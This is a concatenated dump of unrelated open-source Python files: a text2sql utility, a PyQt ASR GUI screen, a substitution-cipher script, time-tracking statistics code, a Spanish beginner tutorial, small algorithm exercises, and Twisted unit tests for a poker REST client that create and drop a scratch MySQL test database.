# for tok in query:\n # if \".\" in tok:\n # tokens.extend(tok.replace(\".\", \" . \").split())\n # else:\n # tokens.append(tok)\n\n # return tokens\n \"\"\"==================================================================\"\"\"\n \"\"\"below functino has been taken from the provided code by DAMAN\"\"\"\n \"\"\"==================================================================\"\"\"\n # string = str(string)\n # string = string.replace(\"\\'\", \"\\\"\") # ensures all string values wrapped by \"\" problem??\n # quote_idxs = [idx for idx, char in enumerate(string) if char == '\"']\n # assert len(quote_idxs) % 2 == 0, \"Unexpected quote\"\n\n # # keep string value as token\n # vals = {}\n # for i in range(len(quote_idxs)-1, -1, -2):\n # qidx1 = quote_idxs[i-1]\n # qidx2 = quote_idxs[i]\n # val = string[qidx1: qidx2+1]\n # key = \"__val_{}_{}__\".format(qidx1, qidx2)\n # string = string[:qidx1] + key + string[qidx2+1:]\n # vals[key] = val\n\n # toks = [word.lower() for word in word_tokenize(string)]\n # # replace with string value token\n # for i in range(len(toks)):\n # if toks[i] in vals:\n # toks[i] = vals[toks[i]]\n\n # # find if there exists !=, >=, <=\n # eq_idxs = [idx for idx, tok in enumerate(toks) if tok == \"=\"]\n # eq_idxs.reverse()\n # prefix = ('!', '>', '<')\n # for eq_idx in eq_idxs:\n # pre_tok = toks[eq_idx-1]\n # if pre_tok in prefix:\n # toks = toks[:eq_idx-1] + [pre_tok + \"=\"] + toks[eq_idx+1: ]\n toks = tokenize(string)\n tokens = []\n for tok in toks:\n if \".\" in tok and \"t\" in tok:\n tokens.extend(tok.replace(\".\", \" . \").split())\n else:\n tokens.append(tok)\n return tokens\n\ndef load_checkpoint(args, chkpt = \"best\"):\n\n if chkpt == \"best\":\n model_name = os.path.join(args.checkpoint_dir, \"best_loss_checkpoint_{}.pth\".format(args.model_type))\n status_file = os.path.join(args.checkpoint_dir, \"best_loss_chkpt_status_{}.json\".format(args.model_type))\n else:\n model_name = os.path.join(args.checkpoint_dir, \"latest_checkpoint_{}.pth\".format(args.model_type))\n status_file = os.path.join(args.checkpoint_dir, \"latest_chkpt_status_{}.json\".format(args.model_type))\n\n assert os.path.isfile(model_name), f\"Model path/name invalid: {model_name}\"\n \n net = torch.load(model_name)\n with open(status_file, \"r\") as file:\n model_dict = json.load(file)\n print(f\"\\n|--------- Model Load Success. Trained Epoch: {str(model_dict['epoch'])}\")\n\n return net\n\n","repo_name":"CosmoLuminous/deep-learning-col775","sub_path":"a1/text2sql/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5199,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26878290540","text":"import configparser\nimport ast\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom .first_screen import Ui_first_screen\nfrom utilities.utils import getDeviceInfo\nfrom utilities.utils import getSupportedRate\nfrom .thirdscreen import Ui_third_screen\nfrom utilities.utils import str_to_list, resource_path\n#from utilities.moduleSelectorDialog import ModuleSeletorDialog\n \n\n\nclass Ui_introscreen(QtWidgets.QWidget):\n \"\"\"Asr_GUI introduction window\n \n In this class, the user can select the available features.\n ``Example, New: Start a new recording\n Last: Load the last recording session\n Load: Load a new config file\n File Mode: Transcript audio file\n Transcription Mode: Transcript Editor\n \n Attributes:\n asr_logo (QLabel): Asr logo\n new_button (QPushButton): Button to start new recording\n last_button (QPushButton): Button to load last session\n load_button (QPushButton): Button to load config\n audio_button (QPushButton): Button to transcript audio file\n restore_button (QPushButton): Button to editor transcript\n \n \"\"\"\n def __init__(self, window=None):\n \"\"\"Inits Ui_introscreen. \n \"\"\"\n QtWidgets.QWidget.__init__(self)\n self.window = window\n\n def setupUi(self):\n \"\"\"Setup the UI\n \n This method need to be called after the class has been instantiated. This method will create the GUI for\n our window.\n \n \n \"\"\"\n self.setObjectName(\"introscreen\")\n screen_width = (self.window.available_width -\n 50) if self.window.available_width < 700 else 700\n screen_height = (self.window.available_height -\n 50) if self.window.available_height < 700 else 700\n self.resize(screen_width, screen_height)\n\n self.parent_hboxLayout = QtWidgets.QHBoxLayout(self)\n self.parent_hboxLayout.setObjectName('parentlayout')\n self.parent_hboxLayout.insertStretch(0, 60)\n\n self.verticalLayout = QtWidgets.QVBoxLayout()\n self.verticalLayout.setObjectName(\"verticalLayout\")\n\n self.asr_logo = QtWidgets.QLabel(self)\n sizePolicy = QtWidgets.QSizePolicy(\n QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Preferred)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(\n self.asr_logo.sizePolicy().hasHeightForWidth())\n self.asr_logo.setSizePolicy(sizePolicy)\n self.asr_logo.setText(\"\")\n self.asr_logo.setPixmap(QtGui.QPixmap(\n resource_path(\"./icons/ASR.png\")))\n self.asr_logo.setScaledContents(True)\n self.asr_logo.setAlignment(QtCore.Qt.AlignCenter)\n self.asr_logo.setObjectName(\"asr_logo\")\n self.verticalLayout.addWidget(self.asr_logo)\n\n self.buttonlayout = QtWidgets.QHBoxLayout()\n self.buttonlayout.setObjectName(\"buttonlayout\")\n\n self.new_button = QtWidgets.QPushButton(self)\n sizePolicy = QtWidgets.QSizePolicy(\n QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(\n self.new_button.sizePolicy().hasHeightForWidth())\n self.new_button.setSizePolicy(sizePolicy)\n self.new_button.setObjectName(\"new_button\")\n self.buttonlayout.addWidget(self.new_button)\n\n self.last_button = QtWidgets.QPushButton(self)\n sizePolicy = QtWidgets.QSizePolicy(\n QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(\n self.last_button.sizePolicy().hasHeightForWidth())\n self.last_button.setSizePolicy(sizePolicy)\n self.last_button.setObjectName(\"last_button\")\n self.buttonlayout.addWidget(self.last_button)\n\n self.load_button = QtWidgets.QPushButton(self)\n sizePolicy = QtWidgets.QSizePolicy(\n QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(\n self.load_button.sizePolicy().hasHeightForWidth())\n self.load_button.setSizePolicy(sizePolicy)\n self.load_button.setObjectName(\"load_button\")\n self.buttonlayout.addWidget(self.load_button)\n\n self.audio_button = QtWidgets.QPushButton(self)\n sizePolicy = QtWidgets.QSizePolicy(\n QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(\n self.audio_button.sizePolicy().hasHeightForWidth())\n self.audio_button.setSizePolicy(sizePolicy)\n self.audio_button.setObjectName(\"audio_button\")\n self.buttonlayout.addWidget(self.audio_button)\n\n self.restore_button = QtWidgets.QPushButton(self)\n sizePolicy = QtWidgets.QSizePolicy(\n QtWidgets.QSizePolicy.Preferred, QtWidgets.QSizePolicy.Fixed)\n sizePolicy.setHorizontalStretch(0)\n sizePolicy.setVerticalStretch(0)\n sizePolicy.setHeightForWidth(\n self.restore_button.sizePolicy().hasHeightForWidth())\n self.restore_button.setSizePolicy(sizePolicy)\n self.restore_button.setObjectName(\"restore_button\")\n self.buttonlayout.addWidget(self.restore_button)\n \n\n self.verticalLayout.addLayout(self.buttonlayout)\n\n self.parent_hboxLayout.addLayout(self.verticalLayout)\n\n self.parent_hboxLayout.addStretch(60)\n\n self.retranslateUi()\n QtCore.QMetaObject.connectSlotsByName(self)\n\n # Connect button to clicked events\n self.new_button.clicked.connect(self.new_button_handler)\n self.last_button.clicked.connect(self.last_button_handler)\n self.load_button.clicked.connect(self.load_button_handler)\n self.audio_button.clicked.connect(self.audio_button_handler)\n self.restore_button.clicked.connect(self.restore_button_handler)\n\n def retranslateUi(self):\n \"\"\"Retranslate the UI\n \"\"\"\n _translate = QtCore.QCoreApplication.translate\n self.setWindowTitle(_translate(\"introscreen\", \"Form\"))\n self.new_button.setText(_translate(\"introscreen\", \"New\"))\n self.last_button.setText(_translate(\"introscreen\", \"Last\"))\n self.load_button.setText(_translate(\"introscreen\", \"Load\"))\n self.audio_button.setText(_translate(\"introscreen\", \"File Mode\"))\n self.restore_button.setText(_translate(\n \"introscreen\", \"Transcription Mode\"))\n\n def new_button_handler(self):\n \"\"\"New button event handler\n \n Instantiate the Ui_first_screen, setupUI and set currentwidget to next screen\n \n \"\"\"\n self.first_screen = Ui_first_screen(self.window, prev_screen=self)\n self.first_screen.setupUi()\n self.window.centralwidget.addWidget(self.first_screen)\n self.window.centralwidget.setCurrentWidget(self.first_screen)\n\n def load_button_handler(self):\n \"\"\"Load button event handler\n \n Prompt user to select the config files\n \n \"\"\"\n self.config_file = QtWidgets.QFileDialog.getOpenFileName(self, \"Select configuration file\",\n \"./config.ini\",\n \"*.ini\")\n if self.config_file[0] != '':\n self.config_filename = self.config_file[0].split('/')[-1]\n self.config = configparser.ConfigParser()\n self.config.read(self.config_file[0])\n\n if self.validate_configurationfile():\n self.window.statusbar.showMessage(\n self.config_filename + ' selected', 2000)\n self.third_screen = Ui_third_screen(\n self.window, preconfig_file=self.config_file[0], prev_screen=self)\n self.third_screen.setupUi()\n self.window.centralwidget.addWidget(self.third_screen)\n self.window.centralwidget.setCurrentWidget(self.third_screen)\n\n def last_button_handler(self):\n \"\"\"Last button event handler\n \n Instantiate the Ui_third_screen, with value fron last_config file\n \n \"\"\"\n self.config = configparser.ConfigParser()\n self.config.read(resource_path('last_config.ini'))\n if self.validate_configurationfile(resource_path('last_config.ini')):\n self.window.statusbar.showMessage(\n 'Loading last used configuration', 2000)\n for mic in self.config['micdata']:\n print(self.config['micdata'][mic])\n self.third_screen = Ui_third_screen(\n self.window, preconfig_file='last_config.ini', prev_screen=self)\n self.third_screen.setupUi()\n self.window.centralwidget.addWidget(self.third_screen)\n self.window.centralwidget.setCurrentWidget(self.third_screen)\n\n def restore_button_handler(self):\n \"\"\"Transciption mode event handler\n \n Instantiate the Ui_first_screen with is_restoremode = True, setupUI and set currentwidget to next screen\n\n \"\"\"\n self.first_screen = Ui_first_screen(\n self.window, None, True, prev_screen=self)\n self.first_screen.setupUi()\n self.window.centralwidget.addWidget(self.first_screen)\n self.window.centralwidget.setCurrentWidget(self.first_screen)\n \n def audio_button_handler(self):\n \"\"\"File mode event handler\n \n Instantiate the Ui_first_screen with is_filemode = True, setupUI and set currentwidget to next screen\n\n \"\"\"\n self.first_screen = Ui_first_screen(\n self.window, is_filemode=True, prev_screen=self)\n self.first_screen.setupUi()\n self.window.centralwidget.addWidget(self.first_screen)\n self.window.centralwidget.setCurrentWidget(self.first_screen)\n\n\n def validate_configurationfile(self, filename=None):\n \"\"\"Check if config file is valid\n \"\"\"\n config_sections = self.config.sections()\n configfile = filename if filename is not None else self.config_file[0]\n # micdata is a required section for configuration file.\n if 'micdata' not in config_sections:\n self.window.statusbar.showMessage(\n 'Section micdata missing from configuration file.', 2000)\n return False\n\n current_devices = getDeviceInfo()\n devids = []\n\n for device in current_devices:\n devids.append(device.split('Input Device id ')\n [1].split(' -')[0])\n\n for device in self.config['micdata']:\n # check if device in configuration file is available or not\n if device not in devids:\n self.window.statusbar.showMessage(\n 'Device with id ' + device + ' not available. Please provide another configuration file.', 2000)\n\n return False\n\n # check if device contains ASR language or not. Add default sampling rate if language already provided. Languagte defaults to english. It is assumed that device is provided with atleast speaker name.\n for device in self.config['micdata']:\n list_data = ast.literal_eval(self.config['micdata'][device])\n supported_rate = getSupportedRate(int(device))\n\n try:\n for channel in list_data:\n if not any(\"english\" in s for s in list_data[channel]) and not any(\"mandarin\" in s for s in list_data[channel]) and not any(\"english-mandarin\" in s for s in list_data[channel]) and not any(\"english-malay\" in s for s in list_data[channel]):\n list_data[channel].insert(0, 'english')\n\n if len(list_data[channel]) == 3:\n list_data[channel][2] == supported_rate\n else:\n list_data[channel].append(supported_rate)\n\n # if at this point list length is not 3, then this means speaker name was not provided.\n if len(list_data[channel]) < 3:\n list_data[channel].insert(1, 'Device: ' + device)\n except TypeError:\n self.window.statusbar.showMessage(\n 'Invalid configuration file', 2000)\n\n return False\n self.config['micdata'][device] = str(list_data)\n\n with open(configfile, 'w') as mconfigfile:\n self.config.write(mconfigfile)\n\n return True\n \n","repo_name":"Anand-Nakhate/Async-ASR","sub_path":"async-asr-newWebSocket/screens/introscreen.py","file_name":"introscreen.py","file_ext":"py","file_size_in_byte":12851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17193580373","text":"import sys\nimport string\n\ndef translate(s, key):\n def _get_trans_map(k):\n a1 = [c for i, c in enumerate(key) if i%2==0]\n a2 = [c for i, c in enumerate(key) if i%2==1]\n return ''.join(a1+a2), ''.join(a2+a1)\n\n src, dst = _get_trans_map(key)\n m = string.maketrans(src, dst)\n return string.translate(s, m)\n\nif __name__ == '__main__':\n szyfr = sys.argv[1] if len(sys.argv)>1 else 'gaderypoluki'\n while True:\n line = sys.stdin.readline()\n if not line:\n break\n sys.stdout.write(translate(line, szyfr))\n sys.stdout.flush()\n\n","repo_name":"marcinn/gaderypoluki","sub_path":"gaderypoluki.py","file_name":"gaderypoluki.py","file_ext":"py","file_size_in_byte":594,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"11214240370","text":"import os\nimport jsonlines\nfrom datetime import datetime\nfrom pathlib import Path\nimport config\nfrom TimeTrackingEvent import TimeTrackingEvent\nfrom .Projects import Projects\nfrom .ProjectsPerDays import ProjectsPerDays\nfrom .SwitchingProjects import SwitchingProjects\nfrom .Weekdays import Weekdays\nfrom .DelToAdd import DelToAdd\nfrom .Breaks import Breaks\nfrom .ActivityPerHour import ActivityPerHour\nfrom .DataGathered import DataGathered\nfrom .Languages import Languages\n\n\nclass StatisticsBank:\n def __init__(self):\n self._init_data()\n\n for dirpath, _, filenames in os.walk(os.path.join('..', config.DATA_DIR)):\n if not filenames:\n continue\n\n user_id, _, year, month = Path(dirpath).parts[-4:]\n for filename in filenames:\n day = Path(filename).stem\n bucket_date = datetime(int(year), int(month), int(day))\n with jsonlines.open(os.path.join(dirpath, filename)) as reader:\n for obj in reader:\n event = TimeTrackingEvent(user_id, bucket_date, obj)\n self._add(event)\n self._finalize_day(user_id, bucket_date)\n \n def _init_data(self):\n self.projects = Projects()\n self.projects_per_days = ProjectsPerDays()\n self.switching_projects = SwitchingProjects()\n self.weekdays = Weekdays()\n self.del_to_add = DelToAdd()\n self.breaks = Breaks()\n self.activity_per_hour = ActivityPerHour()\n self.data_gathered = DataGathered()\n self.languages = Languages()\n\n def _add(self, event: TimeTrackingEvent):\n self.projects.add(event)\n self.projects_per_days.add(event)\n self.switching_projects.add(event)\n self.weekdays.add(event)\n self.del_to_add.add(event)\n self.breaks.add(event)\n self.activity_per_hour.add(event)\n self.data_gathered.add()\n self.languages.add(event)\n\n def _finalize_day(self, user_id: str, bucket_date: datetime):\n self.projects_per_days.finalize_day(user_id)\n self.switching_projects.finalize_day(user_id)\n self.del_to_add.finalize_day()\n self.breaks.finalize_day()\n self.data_gathered.finalize_day(user_id, bucket_date)\n","repo_name":"goalon/time-tracking-analysis","sub_path":"src/statistics/StatisticsBank.py","file_name":"StatisticsBank.py","file_ext":"py","file_size_in_byte":2288,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10879348888","text":"# diccionarios\nvariable = {}\nprint(variable)\nvariable = {\n \"id:\":1,\n \"nombre:\": \"Felipe\",\n \"edad:\": 102\n}\nprint(variable)\n\n\n# practicar como obtener un elemento, añadir un elelmento, \n# modificar y eliminar\n\nvar = {\n \"lunes\": 30.0,\n \"martes\": 25.2,\n \"miercoles\": 12,\n \"jueves\": 16.5,\n \"viernes\": 25.2,\n \"sabado\": 27.1,\n \"domingo\": 11.0\n}\nprint(var)\nprint('\\n')\n\n#si no existe la variable buscada, la crea en el diccionario\nvar['deporte']=\"football\"\nprint(var)\nprint('\\n')\n\n\n# cuando declaro con dict no tengo que colocar la doble comilla en el keys\n# PERO EL MAS OPTIMO ES CREAR EL DICCIONARIO CON LAS LLAVES {}\nempty_dic_2 = dict()\nprint(empty_dic_2)\n\nfull_dict = dict(\n genero = \"M\",\n nacionalidad = \"E\"\n)\nprint(full_dict)\nprint('\\n')\n\n# iteracion de diccionarios: por valores o por clave-valor\n# segun sus valores\nempleado = {\n \"name\": \"valeria\",\n \"apellido\": \"roso\",\n \"edad\": 18,\n \"rut\": \"11.111.111-1\"\n}\nprint(empleado)\n\nfor variablex in empleado.values():\n print(variablex)\n \nprint('\\n')\nvar = {\n \"lunes\": 30.0,\n \"martes\": 25.2,\n \"miercoles\": 12,\n \"jueves\": 16.5,\n \"viernes\": 25.2,\n \"sabado\": 27.1,\n \"domingo\": 11.0\n}\nprint(var)\n\nfor x in var.values():\n print(x)\nprint('\\n')\n\n# segun su clave-valor, aqui imprime el keys y su valor\nvar = {\n \"lunes\": 30.0,\n \"martes\": 25.2,\n \"miercoles\": 12,\n \"jueves\": 16.5,\n \"viernes\": 25.2,\n \"sabado\": 27.1,\n \"domingo\": 11.0\n}\nprint(var)\nfor a, b in var.items():\n print(a, b)\nprint('\\n')\n\n\n\n# condicionales\nprint(\"********** condicionales **********\")\nedad = 20\nif edad >18:\n print(\"eres mayor de edad\")\n \nprint('\\n')\n\ntemperatura = 35\nif temperatura >= 37:\n print(\"Alerta de temperatura alta\")\nelse:\n print(\"La temperatura es normal\")\n\nprint('\\n')\n\n\ntemperatura = 5\npais = 'chile'\n\nif temperatura < 10:\n if pais == 'Chile':\n print('cccc')\n else:\n print('zzz')\nelse:\n if pais == 'Chile':\n print('111')\n else:\n print('222')\n\n\nif temperatura < 10:\n print(\"Es altamente probable que nieve\")\nelif temperatura >= 10 and temperatura <= 20:\n print(\"Es medianamente probable que nieve\")\nelse:\n print(\"No hay probabilidad de nieve\")\n\nprint('\\n')\n\n# ejercicio\nprint(\"********** ejercicio **********\")\n#escriba un programa que permita adivinar un personaje de marvel en base a esta 3 preguntas\n# puede volar\n# Es humano\n# Tiene mascara\n\nvolar = \"si\"\nhumano = \"no\"\nmascara = \"si\"\n\nif volar == \"si\" and humano != \"si\" and mascara != \"no\":\n print(\"El personaje es Superman (DC)\")\nelif volar != \"si\" and humano == \"si\" and mascara == \"si\":\n print(\"El personaje es Spiderman (Marvel)\")\nelse:\n print(\"Deberías tener mayor informacion\")\n \nprint('\\n')\n\n\n# Ciclos\nprint(\"********** ciclos ***********\")\nwant_exit = 'n'\nwhile want_exit == 'n':\n print(\"Hola como estas\")\n want_exit = input(\"¿Quieres salir S/N?: \")\n\nprint(\"Fuera de While\")\n\n\n# break, nos permite romper un ciclo\nwant_exit = 'n'\nrun_questions = 0\nwhile want_exit == 'n':\n print(\"Hola como estas\")\n want_exit = input(\"¿Quieres salir S/N?: \")\n run_questions += 1\n if run_questions == 4:\n print(\"Alcanzaste el maximo permitido\")\n break\n\nprint(\"Fuera de While\")\n\n\n\n\n\n\n\n","repo_name":"Felipe12002/curso-python","sub_path":"Modulo-3/clase-cuatro/dicc.py","file_name":"dicc.py","file_ext":"py","file_size_in_byte":3261,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"9060610229","text":"# -*- coding: utf-8 -*-\n__author__ = 'masashi'\n\nimport unittest\nimport sys\nimport os\nsys.path.append(os.path.dirname(os.path.abspath(__file__)) + \"/../app\")\nfrom task import Task\n\n\nclass TaskTests(unittest.TestCase):\n def create_task(self, summary):\n return Task(summary)\n\n def test_create_task_with_summary1(self):\n summary = 'summary1'\n task = self.create_task(summary)\n self.assertEqual(task.summary, summary)\n\n def test_create_task_with_summary2(self):\n summary = 'summary2'\n task = self.create_task(summary)\n self.assertEqual(task.summary, summary)\n\n\nif __name__ == '__main__':\n unittest.main()","repo_name":"c-bata/TDDBC-Review","sub_path":"tests/test_task.py","file_name":"test_task.py","file_ext":"py","file_size_in_byte":660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71335748994","text":"import sys\ninput = sys.stdin.readline\n\nn = int(input())\n\nlst = [int(i) for i in input().split()]\n\ndp = [1]* n \ndi = {i:[lst[i]] for i in range(n)}\n\nfor i in range(1,n):\n idx = -1\n for j in range(i):\n if lst[i] > lst[j]:\n if dp[i] < dp[j] + 1:\n idx = j\n dp[i] = max(dp[i], dp[j] + 1)\n if idx != -1:\n di[i] = di[idx] + di[i]\n\nmaxx = max(dp)\nmaxx_idx = dp.index(maxx)\nprint(maxx)\nprint(*di[maxx_idx])\n\n","repo_name":"kokoko12334/TIL2","sub_path":"baekjoon/14002.py","file_name":"14002.py","file_ext":"py","file_size_in_byte":459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"18254333455","text":"import enum\nfrom inspect import isdatadescriptor\n\n\ndef solution(s):\n answer = ''\n word_lst = s.split(' ')\n for i in word_lst:\n # 각 word의 길이만큼 for-loop 순회\n for j in range(len(i)):\n # word의 index가 짝수인 경우,\n if j % 2 == 0:\n answer += i[j].upper()\n else:\n answer += i[j].lower()\n answer += ' '\n return answer[:-1]\n\n\ns = \"try hello world\"\nprint(solution(s))\n","repo_name":"LeeHyungi0622/Python-Algorithm-Repository","sub_path":"programmers_40.py","file_name":"programmers_40.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2558057028","text":"## https://www.codewars.com/kata/split-strings/train/python\n\nimport unittest\n\ndef solution(s):\n return [str(s[i:i + 2]+'_')[:2] for i in range(0, len(s), 2)]\n\n\ntest = unittest.TestCase()\n\ntests = (\n (\"asdfadsf\", ['as', 'df', 'ad', 'sf']),\n (\"asdfads\", ['as', 'df', 'ad', 's_']),\n (\"\", []),\n (\"x\", [\"x_\"]),\n)\n\nfor inp, exp in tests:\n test.assertEquals(solution(inp), exp)","repo_name":"wprazuch/PythonPlayground","sub_path":"CodeWars/SplitStrings.py","file_name":"SplitStrings.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23133108450","text":"import sys, os\nSCRIPT_DIR = os.path.dirname(os.path.realpath(__file__))\nsys.path.insert(0, SCRIPT_DIR)\nsys.path.insert(0, \"..\")\n\nfrom twisted.trial import unittest, runner, reporter\nfrom twisted.internet import defer, reactor\nfrom twisted.internet import defer\nfrom twisted.python.util import InsensitiveDict\n\nfrom tests.testmessages import silence_all_messages\nverbose = int(os.environ.get('VERBOSE_T', '-1'))\nif verbose < 0: silence_all_messages()\n\nfrom tests import testclock\n\nfrom pokernetwork import pokerrestclient\nfrom pokernetwork import pokerservice\nfrom pokernetwork import pokernetworkconfig\nfrom pokernetwork import pokermemcache\nfrom pokernetwork import pokersite\nfrom pokernetwork.pokerpackets import *\n\nsettings_xml_server = \"\"\"\n\n \n\n \n
\n\n \n \n\n \n \n %(script_dir)s/../conf\n \n\n\"\"\" % {'script_dir': SCRIPT_DIR}\n\nclass PokerRestClientTestCase(unittest.TestCase):\n def destroyDb(self, arg = None):\n if len(\"\") > 0:\n os.system(\"/usr/bin/mysql -u root --password='' -e 'DROP DATABASE IF EXISTS pokernetworktest'\")\n else:\n os.system(\"/usr/bin/mysql -u root -e 'DROP DATABASE IF EXISTS pokernetworktest'\")\n # --------------------------------------------------------------\n def initServer(self):\n settings = pokernetworkconfig.Config([])\n settings.loadFromString(settings_xml_server)\n self.server_service = pokerservice.PokerService(settings)\n self.server_service.disconnectAll = lambda: True\n self.server_service.startService()\n self.server_site = pokersite.PokerSite(settings, pokerservice.PokerRestTree(self.server_service))\n self.server_port = reactor.listenTCP(19481, self.server_site, interface=\"127.0.0.1\")\n # --------------------------------------------------------------\n def setUp(self):\n testclock._seconds_reset()\n pokermemcache.memcache = pokermemcache.MemcacheMockup\n pokermemcache.memcache_singleton = {}\n self.destroyDb()\n self.initServer()\n # --------------------------------------------------------------\n def tearDownServer(self):\n self.server_site.stopFactory()\n d = self.server_service.stopService()\n d.addCallback(lambda x: self.server_port.stopListening())\n return d\n # --------------------------------------------------------------\n def tearDown(self):\n d = self.tearDownServer()\n d.addCallback(self.destroyDb)\n d.addCallback(lambda x: reactor.disconnectAll())\n return d\n # --------------------------------------------------------------\n def test01_longPoll(self):\n def longPollCallback(packets):\n self.assertEquals(PACKET_PING, packets[0].type)\n client = pokerrestclient.PokerRestClient('127.0.0.1', 19481, '/POKER_REST?explain=no', longPollCallback, verbose=6)\n def sendPacketData(data):\n self.assertSubstring('LongPoll', data)\n return '[ { \"type\": \"PacketPing\" } ]'\n client.sendPacketData = sendPacketData\n self.assertNotEquals(None, client.timer)\n client.longPoll()\n self.assertEquals(True, client.pendingLongPoll)\n self.assertEquals(None, client.timer)\n return client.queue\n # --------------------------------------------------------------\n def test02_longPollReturn(self):\n packets = []\n client = pokerrestclient.PokerRestClient('127.0.0.1', 19481, '/POKER_REST?explain=no', lambda packets: None, verbose=6)\n def sendPacketData(data):\n packets.append(data)\n return \"[]\"\n client.sendPacketData = sendPacketData\n client.longPoll()\n d = client.sendPacket(PacketPokerTableSelect(), '{\"type\": \"PacketPokerTableSelect\"}')\n d.addCallback(lambda arg: self.assertSubstring('LongPollReturn', packets[1]))\n d.addCallback(lambda arg: self.assertNotEquals(None, client.timer))\n return client.queue\n # --------------------------------------------------------------\n def test03_longPollSchedule(self):\n client = pokerrestclient.PokerRestClient('127.0.0.1', 19481, '/POKER_REST?explain=no', lambda packets: None, verbose=6)\n client.sendPacketData = lambda data: \"[]\"\n client.longPoll()\n client.longPoll()\n self.assertNotEquals(None, client.timer)\n client.clearTimeout()\n return client.queue\n # --------------------------------------------------------------\n def test04_sendPacketData(self):\n client = pokerrestclient.PokerRestClient('127.0.0.1', 19481, '/POKER_REST?explain=no', None, verbose=6)\n d = client.sendPacketData('{\"type\": \"PacketPokerTableSelect\"}')\n d.addCallback(lambda data: self.assertSubstring('PacketPokerTableList', data))\n return d\n # --------------------------------------------------------------\n def test05_sendPacket(self):\n client = pokerrestclient.PokerRestClient('127.0.0.1', 19481, '/POKER_REST?explain=no', None, verbose=6)\n d = client.sendPacket(PacketPokerTableSelect(), '{\"type\": \"PacketPokerTableSelect\"}')\n d.addCallback(lambda packets: self.assertEquals(PACKET_POKER_TABLE_LIST, packets[0].type))\n return d\n # --------------------------------------------------------------\n def test06_404(self):\n client = pokerrestclient.PokerRestClient('127.0.0.1', 19481, '/POKER_REST2', None, verbose=6)\n d = client.sendPacket(PacketPokerTableSelect(), '{\"type\": \"PacketPokerTableSelect\"}')\n d.addCallback(lambda packets: self.assertEquals(PACKET_ERROR, packets[0].type))\n return d\n # --------------------------------------------------------------\n def test07_connectionFailed(self):\n client = pokerrestclient.PokerRestClient('127.0.0.1', 20000, '/POKER_REST?explain=no', None, verbose=6)\n d = client.sendPacket(PacketPokerTableSelect(), '{\"type\": \"PacketPokerTableSelect\"}')\n d.addCallback(lambda packets: self.assertEquals(PACKET_ERROR, packets[0].type))\n return d\n def test08_noCallback(self):\n client = pokerrestclient.PokerRestClient('127.0.0.1', 20000, '/POKER_REST?explain=no', None, verbose=6)\n self.assertEquals(-1, client.longPollFrequency)\n self.assertEquals(None, client.timer)\n\nclass MockRequest:\n def finish(self): pass\n def setResponseCode(self, arg1, arg2): pass\n def handlerHeader(self, arg1, arg2): pass\n def setHeader(self, arg1, arg2): pass\n def write(self, arg1): pass\n\nclass MockReason():\n def check(self, reason): return False\n\nclass PokerProxyClientFactoryTestCase(unittest.TestCase):\n def destroyDb(self, arg = None):\n if len(\"\") > 0:\n os.system(\"/usr/bin/mysql -u root --password='' -e 'DROP DATABASE IF EXISTS pokernetworktest'\")\n else:\n os.system(\"/usr/bin/mysql -u root -e 'DROP DATABASE IF EXISTS pokernetworktest'\")\n # --------------------------------------------------------------\n def initServer(self):\n settings = pokernetworkconfig.Config([])\n settings.loadFromString(settings_xml_server)\n self.server_service = pokerservice.PokerService(settings)\n self.server_service.disconnectAll = lambda: True\n self.server_service.startService()\n self.server_site = pokersite.PokerSite(settings, pokerservice.PokerRestTree(self.server_service))\n self.server_port = reactor.listenTCP(19481, self.server_site, interface=\"127.0.0.1\")\n # --------------------------------------------------------------\n def setUp(self):\n testclock._seconds_reset()\n pokermemcache.memcache = pokermemcache.MemcacheMockup\n pokermemcache.memcache_singleton = {}\n self.destroyDb()\n self.initServer()\n # --------------------------------------------------------------\n def tearDownServer(self):\n self.server_site.stopFactory()\n d = self.server_service.stopService()\n d.addCallback(lambda x: self.server_port.stopListening())\n return d\n # --------------------------------------------------------------\n def tearDown(self):\n d = self.tearDownServer()\n d.addCallback(self.destroyDb)\n d.addCallback(lambda x: reactor.disconnectAll())\n return d\n # --------------------------------------------------------------\n def test01_proxy(self):\n data = '{\"type\": \"PacketPing\"}'\n headers = InsensitiveDict()\n headers.setdefault('Content-Length', len(data))\n headers.setdefault(\"connection\", \"close\")\n headers.setdefault(\"proxy-connection\", \"foo\")\n host = '127.0.0.1'\n port = 19481\n path = '/POKER_REST'\n factory = pokerrestclient.PokerProxyClientFactory('POST', path, '1.1', headers, data, MockRequest(), 6, host + ':' + str(port) + path)\n reactor.connectTCP(host, port, factory)\n factory.deferred.addCallback(self.assertNotEquals, None)\n return factory.deferred\n # 